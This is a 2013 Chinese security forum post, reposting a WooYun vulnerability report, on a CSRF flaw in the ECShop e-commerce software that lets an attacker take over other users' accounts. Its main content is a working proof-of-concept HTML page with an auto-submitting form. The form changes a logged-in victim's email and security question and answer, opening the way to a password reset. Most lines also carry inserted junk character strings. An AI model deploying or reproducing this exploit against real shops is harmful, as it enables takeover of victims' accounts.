找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2188|回复: 0
打印 上一主题 下一主题

ecshop修改任意用户密码漏洞的CSRF利用

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-20 08:30:14 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:" O( h: i* q7 j- t4 w
ecshop在设计认证机制的时候存在一个问题,导致恶意用户可以窃取其他用户的密码,这个过程可以通过xss和csrf实现
; }. T0 Q) W' a5 M  }0 X8 M2 ^5 n6 d3 j) \4 F8 p6 Y1 x  H
Demo For:http://www.wooyun.org/bug.php?action=view&id=395
' P& f  a; C* H/ }
0 s! q" q  v3 z1 g; i9 y; z. N详细说明:
5 f: \2 f" d- Q1 g* ^/ y利用csrf和xss可以突破官方所说的“障碍”& {5 {% L' a( Y6 H
xss版本已经有人说明' `; B. U& \+ w. D. J3 n
这里给出csrf版本# g& e- n" V3 m4 w
8 U2 [* A# s5 e. {$ B: S1 E
漏洞证明:
6 i5 m% T3 d) O+ H. n. R<html>. i! }5 F/ R5 Y" U
<body>
: }. i2 g) a6 Q. m) I+ x<form action="http://www.wooyun.org/ecshop/user.php" method="POST"># G% y5 Y: L; ?) O6 Y
<INPUT TYPE="text" NAME="email" value="hack@wooyun.org">
, \* r! p4 S6 K  Y* F<INPUT TYPE="text" NAME="act" value="act_edit_profile">+ e* E1 u3 [) u: a
<INPUT TYPE="text" NAME="sel_question" value="ecshop">
& _) {  G4 S3 w8 w% F& P; e  u<INPUT TYPE="text" NAME="passwd_answer" value="exploit">1 I  `% g3 }/ ~6 D1 G5 a) q
</body>: E* P$ i0 j6 {+ Y
<script>
6 T9 L% X+ k- V. n3 l& |8 {$ p5 Odocument.forms[0].submit();! e$ w8 x9 Q9 h- L5 \' l6 ~5 d
</script>  Y- Y- J9 G7 J- h% H, I0 q
</html>
8 R& {! ?4 n: ?! `. D# c7 W6 x% J' k构造该网页,用户在登录情况下访问该网页将导致email以及一些其他安全信息丢失
! U- c# \3 \# t( Q8 X% {
3 b) I2 g. U& D' Y: |7 i* s0 X% R
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表